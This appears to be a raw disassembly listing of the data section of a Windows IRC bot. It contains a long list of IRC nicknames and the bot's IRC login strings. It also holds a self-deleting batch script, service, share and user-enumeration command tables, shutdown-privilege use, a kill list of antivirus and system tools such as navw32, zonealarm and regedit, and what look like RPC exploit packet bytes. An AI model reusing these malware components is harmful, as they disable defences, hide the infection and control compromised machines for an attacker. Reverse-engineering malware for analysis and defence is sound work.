aBad db 'bad',0 aTree db 'tree',0 align 4 aZex db 'zex',0 aLez db 'lez',0 ; DATA XREF: ___:00438A7Co aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00438A74o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00438A70o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00438A6Co align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00438A68o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:00438A64o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00438A60o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00438A5Co align 10h aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00438A58o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00438A54o align 10h aCool30m db 'cool30m',0 ; DATA XREF: ___:00438A50o aTropikal db 'tropikal',0 ; DATA XREF: ___:00438A4Co align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:00438A48o align 10h aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00438A44o align 4 aUla db 'ula',0 ; DATA XREF: ___:00438A40o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00438A3Co aAkden db 'akden',0 ; DATA XREF: ___:00438A38o align 10h aKoray db 'KORAY',0 ; DATA XREF: ___:00438A34o align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00438A30o align 10h aFirtina db 'firtina',0 ; DATA XREF: ___:00438A2Co aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438A28o aM41ist db 'M41IST',0 ; DATA XREF: ___:00438A24o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438A20o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:00438A1Co align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00438A18o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:00438A14o align 4 aDevre db 'devre',0 ; DATA XREF: ___:00438A10o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:00438A0Co align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:00438A08o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:00438A04o align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:00438A00o align 4 off_438EA8 dd offset byte_4B5245 ; DATA XREF: ___:004389FCo aSevda db 'sevda',0 ; DATA XREF: ___:004389F8o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:004389F4o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:004389F0o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:004389ECo align 10h aKapk db 'kapk',0 ; DATA XREF: ___:004389E8o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:004389E4o align 4 aHayran db 'hayran',0 ; DATA XREF: ___:004389E0o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:004389DCo align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:004389D8o align 10h aDjspace db 'DJSPACE',0 ; DATA XREF: ___:004389D4o aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:004389D0o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:004389CCo align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:004389C8o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:004389C4o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:004389C0o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:004389BCo align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:004389B8o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:004389B4o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:004389B0o align 10h aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:004389ACo align 10h aMahinur db 'MAHINUR',0 ; DATA XREF: ___:004389A8o aHoly db 'holy',0 ; DATA XREF: ___:004389A4o align 10h aFlord db 'FLoRD',0 ; DATA XREF: ___:004389A0o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:0043899Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00438998o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00438994o align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00438990o align 10h aRamtha db 'RAMTHA',0 ; DATA XREF: ___:0043898Co align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00438988o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:00438984o align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00438980o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:0043897Co aArda db 'arda',0 ; DATA XREF: ___:00438978o align 4 aDevran db 'devran',0 ; DATA XREF: ___:00438974o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00438970o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:0043896Co align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00438968o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00438964o align 10h aBogac db 'bogac',0 ; DATA XREF: ___:00438960o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:0043895Co align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:00438958o align 4 off_43903C dd offset byte_457441 ; DATA XREF: ___:00438954o dword_439040 dd 414C5941h, 2Dh ; DATA XREF: ___:00438950o aAlbina db 'albina',0 ; DATA XREF: ___:0043894Co align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00438948o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:00438944o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:00438940o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:0043893Co align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:00438938o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:00438934o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00438930o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:0043892Co align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438928o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00438924o aAslii db 'aslii',0 ; DATA XREF: ___:00438920o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:0043891Co aHaticem db 'haticem',0 ; DATA XREF: ___:00438918o aArzu db 'ARZU',0 ; DATA XREF: ___:00438914o align 10h aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438910o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:0043890Co align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00438908o align 10h aTekir db 'tekir',0 ; DATA XREF: ___:00438904o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00438900o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:004388FCo align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:004388F8o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:004388F4o align 4 aMary_0 db 'MARY',0 ; DATA XREF: ___:004388F0o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:004388ECo aTolga34 db 'Tolga34',0 ; DATA XREF: ___:004388E8o aMisssunday db 'misssunday',0 ; DATA XREF: ___:004388E4o align 10h aIrmal db 'irmal',0 ; DATA XREF: ___:004388E0o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:004388DCo align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:004388D8o align 10h aHexaaa db 'hexaaa',0 ; DATA XREF: ___:004388D4o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:004388D0o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:004388CCo align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:004388C8o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:004388C4o align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:004388C0o aReshma db 'reshma',0 ; DATA XREF: ___:004388BCo align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:004388B8o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:004388B4o align 4 aImra db 'imra',0 ; DATA XREF: ___:004388B0o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:004388ACo align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:004388A8o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:004388A4o align 4 aManee db 'manee',0 ; DATA XREF: ___:004388A0o align 4 aTroller db 'troller',0 ; DATA XREF: ___:0043889Co aLuisa db 'Luisa',0 ; DATA XREF: ___:00438898o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:00438894o align 10h aRimpy db 'rimpy',0 ; DATA XREF: ___:00438890o align 4 aJanno db 'janno',0 ; DATA XREF: ___:0043888Co align 10h aBunty db 'bunty',0 ; DATA XREF: ___:00438888o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00438884o align 10h aCme db 'cme',0 ; DATA XREF: ___:00438880o aMarcy db 'marcy',0 ; DATA XREF: ___:0043887Co align 4 aTalika db 'talika',0 ; DATA XREF: ___:00438878o align 4 aShez db 'Shez',0 ; DATA XREF: ___:00438874o align 4 aKen db 'ken',0 ; DATA XREF: ___:00438870o aFlexster db 'flexster',0 ; DATA XREF: ___:0043886Co align 4 aKoko db 'koko',0 ; DATA XREF: ___:00438868o align 4 aMale db 'male',0 ; DATA XREF: ___:00438864o align 4 aSwin db 'swin',0 ; DATA XREF: ___:00438860o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:0043885Co aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00438858o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:00438854o align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00438850o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:0043884Co aFarooq db 'farooq',0 ; DATA XREF: ___:00438848o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00438844o align 4 aM_0: ; DATA XREF: ___:00438840o unicode 0, <M>,0 word_4392A8 dw 4Eh ; DATA XREF: sub_41A3C6+38r ; ___:0043883Co align 4 dword_4392AC dd 42h ; DATA XREF: ___:00438838o dword_4392B0 dd 56h ; DATA XREF: ___:00438834o dword_4392B4 dd 43h ; DATA XREF: ___:00438830o dword_4392B8 dd 58h ; DATA XREF: ___:0043882Co dword_4392BC dd 5Ah ; DATA XREF: ___:00438828o dword_4392C0 dd 4Ch ; DATA XREF: ___:00438824o dword_4392C4 dd 4Bh ; DATA XREF: ___:00438820o dword_4392C8 dd 4Ah ; DATA XREF: ___:0043881Co dword_4392CC dd 48h ; DATA XREF: ___:00438818o dword_4392D0 dd 47h ; DATA XREF: ___:00438814o dword_4392D4 dd 46h ; DATA XREF: ___:00438810o dword_4392D8 dd 44h ; DATA XREF: ___:0043880Co dword_4392DC dd 53h ; DATA XREF: ___:00438808o dword_4392E0 dd 50h ; DATA XREF: ___:00438800o dword_4392E4 dd 4Fh ; DATA XREF: ___:004387FCo dword_4392E8 dd 55h ; DATA XREF: ___:004387F4o word_4392EC dw 59h ; DATA XREF: sub_41A6EA+38r ; ___:004387F0o align 10h dword_4392F0 dd 54h ; DATA XREF: ___:004387ECo dword_4392F4 dd 52h ; DATA XREF: ___:004387E8o dword_4392F8 dd 45h ; DATA XREF: ___:004387E4o dword_4392FC dd 57h ; DATA XREF: ___:004387E0o dword_439300 dd 51h ; DATA XREF: ___:004387DCo dword_439304 dd 62h ; DATA XREF: ___:004387D0o dword_439308 dd 78h ; DATA XREF: ___:004387C4o ; ___:00438B1Co dword_43930C dd 7Ah, 68h, 67h, 66h, 64h ; DATA XREF: ___:004387C0o ; ___:00438B24o dword_439320 dd 79h ; DATA XREF: ___:00438B20o dword_439324 dd 77h ; DATA XREF: ___:00438B18o dword_439328 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B76+B1o dword_439334 dd 323334h ; DATA XREF: sub_417B76+79o dword_439338 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B76+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C61+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E84+BCo ; sub_417E84+175r ... align 10h dword_439380 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4393CC dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4182CD+E3o ; --------------------------------------------------------------------------- loc_4393E8: ; DATA XREF: sub_4182CD+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_4393FC dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_4182CD+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4187E0+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o align 10h a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4188A6+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4188A6+48o align 10h unk_4394B0 db 2Dh ; - ; DATA XREF: sub_418A2E+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 10h unk_4394E0 db 2Dh ; - ; DATA XREF: sub_418A2E+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_439508 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_418A2E+5Co dd 65726165h, 64h, 0 off_439528 dd offset aAdd ; DATA XREF: sub_418C0E+60r ; sub_418FE5+51r ... ; "Add" off_43952C dd offset aAdded ; DATA XREF: sub_418C0E+2Dr ; sub_418FE5+83r ... ; "Added" dword_439530 dd 0 ; DATA XREF: sub_418C0E+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" dd 0 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 43959Ch, 439594h, 2, 439588h, 43957Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0043955Co aStop_0 db 'Stop',0 ; DATA XREF: ___:00439558o align 4 aStarted db 'Started',0 ; DATA XREF: ___:00439550o aStart_0 db 'Start',0 ; DATA XREF: ___:0043954Co align 4 aListed db 'Listed',0 ; DATA XREF: ___:00439544o align 4 aList_1 db 'List',0 ; DATA XREF: ___:00439540o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:00439538o aDelete_0 db 'Delete',0 ; DATA XREF: ___:00439534o align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_43952Co align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_439528o unk_4395F0 db 2Dh ; - ; DATA XREF: sub_418C0E+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_439614 db 2Dh ; - ; DATA XREF: sub_418C0E+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_439640 db 2Dh ; - ; DATA XREF: sub_418C0E+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_418D2A:loc_418E34o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_418D2A:loc_418E2Do align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_418D2A:loc_418E26o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E1Fo align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_418D2A:loc_418E11o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_418D2A:loc_418E0Ao db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E03o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_418D2A:loc_418DD8o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_418D2A:loc_418DD1o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_418D2A:loc_418DCAo db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_418D2A:loc_418DC3o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_418D2A:loc_418D98o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_418D2A:loc_418D8Eo aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_418D2A:loc_418D84o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_418D2A:loc_418D70o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418EA8+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_418EA8:loc_418F74o aStarting db ' Starting',0 ; DATA XREF: sub_418EA8:loc_418F6Do aStoping db ' Stoping',0 ; DATA XREF: sub_418EA8:loc_418F66o aRunning db ' Running',0 ; DATA XREF: sub_418EA8:loc_418F5Fo aContinuing db ' Continuing',0 ; DATA XREF: sub_418EA8:loc_418F58o aPausing db ' Pausing',0 ; DATA XREF: sub_418EA8:loc_418F51o aPaused_0 db ' Paused',0 ; DATA XREF: sub_418EA8:loc_418F4Ao aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418EA8+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_418EA8+25o align 4 unk_439B94 db 2Dh ; - ; DATA XREF: sub_418FE5+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_439BB8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418FE5+8Ao dd 73252720h, 27h unk_439BD4 db 2Dh ; - ; DATA XREF: sub_418FE5+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_4191DB+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_4191DB+B5o unk_439C20 db 2Dh ; - ; DATA XREF: sub_4191DB+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_4191DB+26o align 10h unk_439C80 db 2Dh ; - ; DATA XREF: sub_4192FC+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_439CA8 db 2Dh ; - ; DATA XREF: sub_4192FC+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_439CD8 db 2Dh ; - ; DATA XREF: sub_4192FC+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_439CF8 db 2Dh ; - ; DATA XREF: sub_419443+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419443+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419443+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419443+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419443+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_419443:loc_419562o align 4 aUser_0 db 'User',0 ; DATA XREF: sub_419443:loc_41955Bo align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_419443:loc_419554o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419443+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419443+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_419443+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo align 4 unk_439EB4 db 2Dh ; - ; DATA XREF: sub_41982C+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_41982C+BEo align 4 unk_439EE8 db 2Dh ; - ; DATA XREF: sub_41982C+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_4199AC:loc_419A90o db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_4199AC+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_4199AC:loc_419A57o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_4199AC:loc_419A49o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4199AC:loc_419A0Fo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_4199AC:loc_4199FBo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo align 10h dword_43A1F0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419AE0+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_43A21C db 2Dh ; - ; DATA XREF: sub_419AE0+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_43A248 dd offset aRegedit_exe ; DATA XREF: sub_419C09+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_43A350 dd offset dword_43A344 dd offset dword_43A338 dd offset dword_43A32C dd offset dword_43A320 dd offset dword_43A314 dd offset dword_43A304 dd offset dword_43A2F8 dd offset dword_43A2EC dd offset dword_43A2E0 dd offset dword_43A2D4 dd offset dword_43A2C4 dd offset dword_43A2B8 dd offset dword_43A2A8 dword_43A2A8 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419C09+ECo ; ___:0043A2A4o dword_43A2B8 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A2A0o dword_43A2C4 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:0043A29Co dword_43A2D4 dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:0043A298o dword_43A2E0 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A294o dword_43A2EC dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A290o dword_43A2F8 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A28Co dword_43A304 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:0043A288o dword_43A314 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:0043A284o dword_43A320 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:0043A280o dword_43A32C dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:0043A27Co dword_43A338 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:0043A278o dword_43A344 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:0043A274o dword_43A350 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:0043A270o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A26Co align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A268o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:0043A264o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:0043A260o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:0043A25Co align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:0043A258o align 10h aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:0043A254o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:0043A250o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:0043A24Co align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_43A248o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419C09+191o align 10h unk_43A400 